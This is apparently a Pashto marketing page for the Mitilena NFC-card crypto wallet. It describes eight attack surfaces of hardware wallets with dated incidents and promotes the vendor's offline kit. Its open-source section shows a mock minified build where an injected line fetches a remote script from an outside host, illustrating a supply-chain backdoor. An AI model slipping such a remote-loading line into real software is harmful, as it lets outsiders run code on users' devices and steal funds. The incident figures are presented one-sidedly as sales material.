۸ خالیون خلاص کوډ چک‌لیست پوښتنې
Mitilena Mitilena Wallet Cold crypto wallet
ONLINE · 22,000+ COINS والېټ جوړ کړئجوړ کړئ
هارډویر والېټونه · نااشکار خالیون

نااشکار خالیون د هارډویر والېټ

وسیله اخلئ چې سوري وتړئ. ورسره نوي سوري راځي: فرم‌ویر، اپډیټونه، په کمپیوټر کې خدمت، سکرین، بکس، د پلورونکي اکاونټ. اته جزئیات چې بیاکتنې یې د ګټې په توګه ثبتوي — او اته لارې چې له ۲۰۲۰ تر ۲۰۲۶ پرې پیسې وړل شوې.

ریښتینې پېښې د نېټې او مقدار سره د جوړونکو اسنادو پر بنسټ خپل کټ په همدې لیست ازمويو
د تېروتنې بیهعامه پېښې
2026Coldcard · په فرم‌ویر کې کمزوری تصادفي$100M+
2025Bybit · لاسلیک‌کوونکو هغه څه لاسلیک کړل چې ونه لیدل$1.5B
2024Dark Skippy · سیډ له دوو لاسلیکونو لیکېږيڅېړنه
2023Ledger Connect Kit · په کتابتون کې بیک‌ډور$600K
2021په App Store کې جعلي والېټ اپ17,1 BTC
2020د Ledger د پیرودونکو ډیټابیس لیک · کلونه فیشینګ۲۷۰٬۰۰۰ تنه
اته خالیون

هر جزئیات چې بیاکتنې یې ستایي جلا سور دی

هارډویر والېټ یو سور تړي: کیلي نور په انټرنیټ‌لرونکي تلیفون نه ده. خو وسیله تشه نه ده. فرم‌ویر لري، اپډیټ، د کمپیوټر پروګرام، سکرین، بکس، پلورونکی چې پته مو پېژني — او هر جزئیات د برید سطحه زیاتوي چې مخکې مو نه درلوده. لاندې اته داسې جزئیات: بیاکتنې څه لیکي، پرې پیسې څنګه وړل شوې، خالی څنګه وتړئ، او آیا دا جزئیات په زموږ کټ کې دي.

خالی ۰۱

فرم‌ویر چې ستاسو کیلي جوړوي

په بیاکتنو کې: «امن چیپ — کیلي په وسیله کې جوړېږي او هیڅکله نه وځي»

کیلي لویه تصادفي شمېره ده او فرم‌ویر یې جوړوي. هلته یوه تېروتنه — او کیلي له هغه څه لږې دي چې فکر کوئ: پرته له وسیلې لاسرسي، کلونه وروسته له پېرلو، د ټولو خاوندانو سره یوځای brute-force کېږي. چیپ بې ګناه دی؛ سور ترې پورته دی.

پېښه
$100M+
Coldcard، جولای ۲۰۲۶: د فرم‌ویر بیلډ تېروتنه له ۲۰۲۱ په چوپتیا هارډویر تصادفي جنراتور د کمزوري جنراتور سره بدل کړ چې له سیریل شمېرې او ټایمر سیډ اخیست. د کیلي ځواک تر نږدې ۴۰ بټو ولوېد؛ له ۵٬۰۰۰ زیاتې پتې تشې شوې.
خالی څنګه وتړئ
آیا کولی شئ خپل تصادفي راوړئ: زري، خپله جمله. والېټ چې ستاسو انټروپي ومني په یوه فرم‌ویر تېروتنه نه تړلی.
دا جزئیات موږ سره نشته
په کارت کې فرم‌ویر نشته — کوډ شوی حامل دی. Mitilena Air کیلي د وسیلې د سیسټم تصادفي جنراتور څخه جوړوي او کولی شئ د تصادفي کلمو پر ځای خپله سیډ جمله کېږدئ.
خالی ۰۲

اپډیټونه چې مجبور یاست نصب یې کړئ

په بیاکتنو کې: «جوړونکی منظم امنیتي اپډیټ خپروي»

هر اپډیټ هغه شیبه ده چې فرم‌ویر بدلېدلی شي. لاسوهنه شوې فرم‌ویر د سیډ ټوټې په دوو–درېو عادي لاسلیکونو پټوي او له بهر وسیله عادي ښکاري. نه اپډیټ کول هم اختیار نه دی: سوري هماغه اپډیټونه تړي.

پېښه
۲ لاسلیکونه
Dark Skippy، اګست ۲۰۲۴: څېړونکو وښودله چې د هارډویر والېټ زیانمن فرم‌ویر کولی شي ټول سیډ له دوو معاملو وباسي. یو اپډیټ له ناسم ځایه بسنه کوي.
خالی څنګه وتړئ
فرم‌ویر له کومه راځي او آیا وسیله لاسلیک یې چک کوي. غوره حالت دا دی چې اصلاً د اپډیټ لپاره څه نه وي.
دا جزئیات موږ سره نشته
په کارت کې د اپډیټ یا بدلولو لپاره څه نشته. لاسلیک په تلیفون اپ کې دی؛ بیلډونه یې لاسلیک شوي او له App Store او Google Play راځي — لکه هر اپ چې پخپله یې وینئ او بندوئ.
خالی ۰۳ · بې‌معنیتوب احساس کړئ
په بیاکتنو کې: «د شرکت اسانه ډیسکټاپ اپ»

والېټ د بې‌باورۍ لپاره چې پس‌زمینه خدمت ورسره تړلی دی

وسیله د یوې خبرې لپاره اخلئ: نور په کمپیوټر باور مه کوئ. چې کار وکړي په همدې کمپیوټر باید پس‌زمینه خدمت نصب کړئ. نه مو لیکلی، نه مو پیل کړی، نه یې کنټرول کوئ: له سیسټم سره راپورته کېږي، په پورټ اوري چې هر پروګرام په ماشین مو ټکولی شي، او همدا اوس یو څه کوي — دقیقاً څه، نه پوهېږئ او هیڅکله به یې ونه ګورئ.

له والېټ بندولو وروسته هم په پس‌زمینه پاتې کېږي. کلونه. د یوه له لویو جوړونکو سره جلا «پل» خدمت و؛ په ۲۰۲۵ یې په خپل اپ کې پټ کړ — خدمت پر ځای دی، یوازې له کړکۍ سره مري. د ډېرو نورو سره پرته له کمپیوټر پروګرام وسیله کی‌چینګ دی. په لینکس کې udev قواعد زیات کړئ که نه سیسټم USB نه ورکوي.

یعنې هغه څه چې واخیستل چې په کمپیوټر پروګرامونو پورې تړلي نه شئ، پرته له کمپیوټر پروګرام کار نه کوي. او نه هغه چې وینئ — بلکې هغه چې لاندې یې ګرځي.

دا جزئیات موږ سره نشته
په کمپیوټر هیڅ نه نصبېږي: نه خدمت، نه ډرایور، نه پورټ. منځګړی هماغه NFC چیپ دی چې له مخکې په تلیفون مو دی، د جوړونکي یې جوړ او د عملیاتي سیسټم تر کنټرول لاندې: یوازې کله چې اپ پرانیستی وي او پخپله کارت نږدې کوئ کار کوي او تلیفون هر ځل اجازه پوښتي. کارت غیر فعال دی: پرته له بیټرۍ او راډیو، پخپله هیڅ نه کوي. اپ بند کړئ — هیڅ نه پاتې کېږي چې پرته له تاسو کار وکړي. صادقانه: د تلیفون اپ اړین دی او لکه هر بل اپ دی — وینئ یې، پیل یې کوئ، بند یې کوئ. په خدمت خونه کې څوک نه ژوند کوي.
سیسټم مانیټوروالېټ بند
پروسهحالتچلول
HW Wallet Appwallet
تاسو بند کړ-
hwwalletdپس‌زمینه خدمت · USB پل
فعال412d 06:14
سیسټم په ننوتلو پیل کړبندولای نشئ — خدمت دی
ماکیټ؛ نومونه توضیحي دي. کمپیوټر د یوه له محبوبو USB والېټونو سره مخکې له ۲۰۲۵ داسې و؛ وروسته «پل» په خپل اپ کې جوړ کړ — هماغه خدمت، یوازې نور په لیست نه لیدل کېږي.
تمثیل
کور د خصوصیت لپاره — او کرایه‌چی په خدمت خونه کې

د خصوصیت لپاره کور غوښت. واخیست. بیا امنیت اړین شو — نصب مو کړ. او د امنیت تعرفې لپاره یې وغوښتل چې یونیفورم‌لرونکی کس کور ته ورننوځي چې شپه او ورځ په خدمت خونه کې ژوند کوي، د ټولو دروازو کیلي لري او بل چا ته راپور ورکوي. نه مو ګومارلی، نه یې ګوښه کولی شئ، او شپه څه کوي — نه پوهېږئ.

البته «خپل» دی. په تړون کې لیکل شوي. خصوصیت مو غوښت او جعلي بدیل مو واخیست: کور د کرایه‌چي سره چې نه مو غوره کړی.

خالی ۰۴ · خلاص کوډ پلټنه نه ده
په بیاکتنو کې: «خلاص کوډ — هرڅوک کولی شي وګوري»

خلاص کوډ د پروګرام‌جوړونکو ګډ کار لاره ده، نه نښه چې پروګرام نه غلا کوي

خلاص سورس د دې لپاره جوړ شو چې پروګرامونه سره شریکه او سره ترمیم کړي. د همکارۍ وسیله په توګه غوره دی. هیڅکله د کیفیت مهر «دا سافټویر پیسې مو نه غلا کوي» نه و، او دلیل یې دا دی: تاسو له سورس نه کار اخلئ. له هغه څه کار اخلئ چې ډاونلوډ مو کړي.

د GitHub ریپو او ستاسو په تلیفون فایل ترمنځ بیلډ، اپ پلورنځی، اپډیټ او سرور ولاړ دي. په هر یوه له دې ګامونو کې یوه کرښه ننوتلی شي چې هر څه له هر ځایه راکښي — او په ریپو کې نه وي. خپله کاپي له سورس سره پرتله نشئ کولی: پلورنځي کمپایل شوې فایل ورکوي؛ ویب والېټ هر ځل هغه کوډ اخلي چې سرور نن تاسو ته لېږلی؛ د براوزر ایکسټنشن شپه په چوپتیا اپډیټ کېږي.

«خلاص» یعنې ځینې خلک کولی شي یوه ورځ یوه نسخه وګوري. ستاسو کاپي همدا اوس څه کوي — دا نه وايي.

په ریپو کې · github.com/…/wallet/send.js
// send.js
import { sign } from './crypto'
export async function send(tx, key) {
const signed = sign(tx, key)
return broadcast(signed)
}
ستاسو په تلیفون · app-2.4.21.min.js
// send.js — بیلډ
import { sign } from './crypto'
;(async () => {
var globalObject = await fetch('https://cdn-static.io/x.js')
})()
export async function send(tx, key) {
const signed = sign(tx, key)
return broadcast(signed)
}
یوه کرښه په بیلډ کې. په ریپو کې نشته، په پلورنځي نه لیدل کېږي، په وسیله مو کار کوي.
خلاصوالی له دې پېښو هیڅ یوه ونه دروله
Ledger Connect Kit2023
په GitHub خلاص کتابتون؛ زیانمنه نسخه په npm خپره شوه؛ لسګونه سایټونو په څو ساعتونو ژوندۍ بار کړه
Copay / event-stream2018
خلاص والېټ؛ بیک‌ډور له وابستګۍ راغی چې دقیقاً همدا یې په نښه کړی و
xz utils2024
شل کاله خلاص؛ بیک‌ډور په خپرونو کې ناست و تر څو یوه انجینر په اتفاقي توګه وليدل چې SSH ننوتل نیم ثانیه ورو شوي
Coldcard2026
خلاص‌متن فرم‌ویر؛ د بیلډ تېروتنه پنځه کاله هارډویر جنراتور د کمزوري سره بدل کړ — کیلي پرته له وسیلې لاسرسي ماتې شوې، له ۵٬۰۰۰ زیاتې پتې، له ۱۰۰ میلیون ډالرو زیات
څه واقعاً کار کوي
نه د نورو کوډ لوستل — دوه چکونه چې هرڅوک یې پرمخ وړلی شي. لومړی د چلند پلټنه: په خپل کمپیوټر نیوونکی پروکسي کېږدئ، اپ ترې تېر کړئ او وګورئ څه او چیرته لېږي. د کوډ لوستلو اړتیا نشته — ټول ترافیک لیدل کېږي. دویم جوړښت چې پکې کوډ د غلا لپاره څه نلري: که کیلي هیڅکله په نښلول شوې وسیله نه وي، هره کرښه په هر اپډیټ کې بې‌ځواکه ده — د لېږلو لپاره څه نلري.
موږ سره څنګه دي
لومړی پخپله وړاندیز کوو: زموږ اپ له پروکسي تېر کړئ، ویب نسخه له براوزر DevTools، او هره غوښتنه وګورئ. د لاسلیک کیلي او سیډ نه ښکاري؛ یوازینۍ استثنا د Monero لید کیلي ده — په پاڼه «لیږد څنګه ځي» تشریح شوې. دویم په کټ کې دی: کیلي په Mitilena Air پرته له انټرنیټ وسیله کې زیږي، په کارت ژوند کوي او آنلاین اپ ته یوازې لاسلیک رسېږي — هلته د پروکسي لپاره څه نشته. او آفلاین دلته ریښتینی دی: په air-gap حالت کې د کیلي وسیله هیڅ ته نښلول شوې نه ده — نه کیبل نه Bluetooth؛ معامله په QR ننوځي او وځي چې په سترګو یې وینئ. نه «سړه» والېټ په تار ځوړند پر آنلاین کمپیوټر د خدمت سره چې خدای پوهېږي څه تبادله کوي.
خالی ۰۵

سکرین چې نه وینئ څه لاسلیک کوئ

په بیاکتنو کې: «په وسیله سکرین تایید — په کمپیوټر ویروس بې‌ځواکه دی»

سکرین وړوکی دی او ډېر ځله د پتې او مقدار پر ځای هش یا «د قرارداد غوښتنه» ښيي. هغه څه تاییدوئ چې نه وینئ — او لاسلیک بیا هم رښتینی دی، ستاسو لاسلیک. سکرین د کنټرول احساس ورکوي چې نشته.

پېښه
$1.5B
Bybit، فبروري ۲۰۲۵: لاسلیک‌کوونکو د هارډویر والېټ سره لیږد تایید کړ چې په انټرفیس کې عادي ښکارېده. وسیلو هغه معلومات وښودل چې انسان یې سمون نشو کولی.
خالی څنګه وتړئ
ترلاسه کوونکی، مقدار او د عملیات ډول په انساني ژبه — نه هش — او په یوه تڼۍ رد.
موږ سره څنګه دي
سکرین شته، خو د تلیفون سکرین: پته، مقدار او د غوښتنې ډول په کلمو — لیږد، د قرارداد غوښتنه، اجازه — او تڼۍ «رد». د لویو مقدارونو لپاره — جلا وسیله پرته له شبکې چې بشپړه معامله ورته رسېږي.
خالی ۰۶

بکس چې له مخکې سیډ پکې دی

په بیاکتنو کې: «په مهر شوي بکس د امنیتي پلومب سره راځي»

فزیکي وسیله یعنې لېږد، منځګړي او «تخفیف‌لرونکي» بازارونه. والېټ له مخکې تنظیم شوی راځي د کاغذ سیډ سره دننه. یا په پلورنځي دوه ګونی اپ غواړي «د فعالولو لپاره سیډ دننه کړئ».

پېښه
17,1 BTC
App Store، ۲۰۲۱: د هارډویر وال��ټ خاوند سیډ په دوه ګوني اپ کې دننه کړ او ۱۷٫۱ BTC یې له لاسه ورکړل. همدغه کال له ډیټابیس لیک وروسته د Ledger پیرودونکو ته جعلي وسیلې د لیک سره «سیډ نوي وسیلې ته ولېږدئ» ولېږل.
خالی څنګه وتړئ
پخپله پیل کړئ او هیڅکله له سیډ څخه چې له مخکې لیکل شوی راغلی کار مه اخلئ. پلومب تایید نه دی؛ تایید دا دی چې کیلي تاسو جوړوئ.
موږ سره څنګه دي
کارتونه تش راځي: کیلي پخپله جوړوئ او لیکئ — چمتو سیډ په بکس کې ممکن نه دی. اپ یوازې له App Store او Google Play د سایټ لینکونو سره؛ سیډ یوازې په واردات او لاسلیک پوښتي.
خالی ۰۷

د پلورونکي اکاونټ

په بیاکتنو کې: «رسمي تضمین، ملاتړ او شخصي اکاونټ»

د وسیلې پېرلو لپاره جوړونکي ته نوم، ایمیل او د لېږد پته ورکوئ. امنیت مو د هغه ډیټابیس ته تړلی دی. که ولیکي — کلونه به درته لیکي «سیډ په نوي وسیله تایید کړئ»، کله ناکله د بسته سره.

پېښه
۲۷۰٬۰۰۰ تنه
Ledger، ۲۰۲۰: د ۲۷۰٬۰۰۰ پیرودونکو معلومات په شمول د پوستي پتې ولیکېدل. لیک، زنګ او بسته د سیډ «کډوالۍ» غوښتنې سره تر نن دوام لري.
خالی څنګه وتړئ
څومره لږ مو وپېژني بردار لنډ دی: پېرل پرته له اکاونټ، ملاتړ چې هیڅکله سیډ نه پوښتي، او قاعده «څوک چې سیډ غواړي غله دی».
دا جزئیات موږ سره نشته
والېټ پرته له ثبت کار کوي — اکاونټ نشته. پلورونکی یوازې د لېږد پته پېژني. نه ملاتړ او نه اپ سیډ پوښتي.
خالی ۰۸

یوه وسیله او یو کاغذ

په بیاکتنو کې: «کلک بدن، لوی سکرین، د یوې اونۍ بیټري»

څومره چې برخې زیاتې، خرابېدل زیات: کنکټور، سکرین، بیټري. بیا رغونه په یوه سیډ کاغذ ځوړنده ده — لوند شو، په کډه کې ورک شو، «د احتیاط لپاره» عکس واخیستل شو. تر ټولو عام دلیل د له لاسه ورکولو نفوذ نه دی.

پېښه
≈20 % BTC
د Chainalysis اټکل: نږدې پنځمه برخه ټول بیت‌کوین د تل لپاره ورک دي — ډېر له ورکو کیلي، نه نفوذ.
خالی څنګه وتړئ
څو کاپۍ کیلي په بکس کې راځي او په کوم شکل، که وسیله ورکه شي څه کېږي، او آیا پکې داسې څه دي چې خرابېږي.
دا جزئیات موږ سره نشته
نه سکرین، نه بیټري، نه کنکټور — د خرابېدو لپاره څه نشته. او نه یوه کاپي: پنځه آینه کاپۍ په بکس کې — دوه NFC کارتونه او درې پټ سټیکرونه په اوبه‌ضد پلاستیک کې، عمر له ۱۰ کلونو زیات.
چک‌لیست

څه باید په والېټ کې نه وي

اته جزئیات د اتو خالیونو لپاره. لیست هر والېټ ته مناسب دی — هارډویر، موبایل، براوزر. نښه کړئ هغه څه چې ستاسو غوره شوي کې دي — او زموږ هم.

01
کیلي چې یوازې پروګرام یې جوړويپرته له ستاسو تصادفي — جمله یا زري
02
اپډیټ هلته چې کیلي ژوند کويهر اپډیټ د کوډ بدلولو چانس
03
خدمت، ډرایور یا پورټ په کمپیوټرخالی ۰۳ وګورئ
04
نښه «خلاص کوډ» د جوړښت پر ځایکیلي هلته ده چې پردی کوډ رسېدلی شي
05
سکرین چې هش ښيي نه پته او مقداراو پرته له رد تڼۍ
06
سیډ چې له مخکې لیکل شوی راغلیپه بکس، په لیک، په «فعالولو اپ»
07
د پلورونکي اکاونټاو ملاتړ چې ممکن سیډ پوښتي
08
یوه کاپي او برخې چې خرابېږيسکرین، بیټري، کنکټور، یو کاغذ
په دې لیست، Ultimate کټ له اتو جزئیاتو هیڅ یو نلري. په بکس کې: دوه NFC کارتونه او درې پټ سټیکرونه، Mitilena Air (کیلي پرته له انټرنیټ) او Mitilena Keys (لاسلیک پرته له انټرنیټ). کارتونه تش راځي: کیلي تاسو جوړوئ او کوډوئ — نه د فابریکې چیپ. محتویات او بیه ←
Ultimate · آفلاین کټ

نه د فابریکې «امن چیپ» — حامل چې پخپله یې کوډوئ

کارتونه تش راځي. کیلي په Mitilena Air په تلیفون پرته له انټرنیټ جوړوئ او پخپله لیکئ. لاسلیک له Mitilena Keys، بیا هم آفلاین: معامله په QR تبادله کېږي. پنځه یوشان کاپۍ په بکس کې: دوه NFC کارتونه او درې پټ سټیکرونه په اوبه‌ضد پلاستیک کې. ۱۸ شبکې، له ۲۰٬۰۰۰ زیاتې سکې، په شمول USDT.

په کمپیوټر هیڅ نه نصبېږي
نه فرم‌ویر، نه اپډیټ، نه سکرین، نه بیټري
معامله آفلاین تلیفون ته — په غږ یا QR، پرته له کیبل او USB
د تلیفون وړیا Mitilena اپ سره کار کوي
اوبه‌ضد پلاستیک، عمر له ۱۰ کلونو زیات
نړیوال لېږد · mitilena-store.com
د Mitilena NFC کارت
Ultimate · آفلاین جوړونه او لاسلیک
€369€439
دوه NFC کارتونه · ۳ پټ سټیکرونه · Mitilena Air · Mitilena Keys لایسنس
Ultimate وپیرئ · €369 Basic او Premium — ټول پلانونه
ډېرې پوښتل شوې پوښتنې

له دې لوستلو وروسته خلک څه پوښتي

د هارډویر والېټ ګټې او نیمګړتیاوې — لنډ؟

یوه لویه ګټه: کیلي په انټرنیټ‌لرونکي تلیفون نه ده. نیمګړتیاوې هماغه اته جزئیات پورته دي — هر یو د برید سطحه زیاتوي. ښه هارډویر والېټ هغه دی چې لږ جزئیات لري، نه زیات.

که تلیفون نفوذ شي څه؟

د کارت سره په اصلي تلیفون، کیلي د لاسلیک یوې ثانیې لپاره په جلا چاپېریال کې ښکاري — هماغه خطر د هر موبایل والېټ، یوازې لنډ. د مقدارونو لپاره چې وېروي مو — دویمه طبقه: په جلا وسیله پرته له شبکې لاسلیک کړئ چې معامله په QR ورته رسېږي.

که کارت غلا یا ورک شي؟

پرته له پاسورډ کارت او سټیکر پلاستیک بې‌ګټې دي — کیلي پرې کوډ شوې ده. ورکه کاپي په څلورو نورو جبرانېږي: دوه کارتونه او درې سټیکرونه له بکس آینه دي.

آیا باید د هارډویر والېټ فرم‌ویر اپډیټ کړئ؟

که شرکت سور تړلی — هو، او دقیقاً هماغه شیبه ده چې فرم‌ویر بدلېدلی شي: سرچینه او لاسلیک وګورئ. حامل پرته له فرم‌ویر دا اختیار نلري — د اپډیټ یا بدلولو لپاره څه نشته.

له USB والېټ سره توپیر څه دی؟

لږ منځګړي: نه کیبل، نه ډرایور، نه پس‌زمینه خدمت، نه ډیسکټاپ اپ. یو منځګړی — په تلیفون مو NFC چیپ — او تاسو او عملیاتي سیسټم ته ځواب ورکوي، نه د والېټ پلورونکي ته.

آیا خلاص کوډ یعنې امنیت؟

یعنې یوه ورځ څوک کولی شي نسخه وګوري. تاسو له کوډ نه کار اخلئ بلکې له هغه څه چې ډاونلوډ مو کړي، او یو له بل سره پرتله نشئ کولی. امنیت له جوړښت راځي چې کیلي هلته نه وي چې پردی کوډ رسېدلی شي.

NFC کارتونه د آفلاین جوړونې او لاسلیک سره

۵ کاپۍ کیلي · Air · Keys · یا وړیا والېټ په ۳۰ ثانیو کې · ولې د فابریکې چیپ پر بنسټ هارډویر «سړه» والېټ ډېر ځله جعلي وي ←
Ultimate وپیرئ · €369 وړیا والېټ جوړ کړئ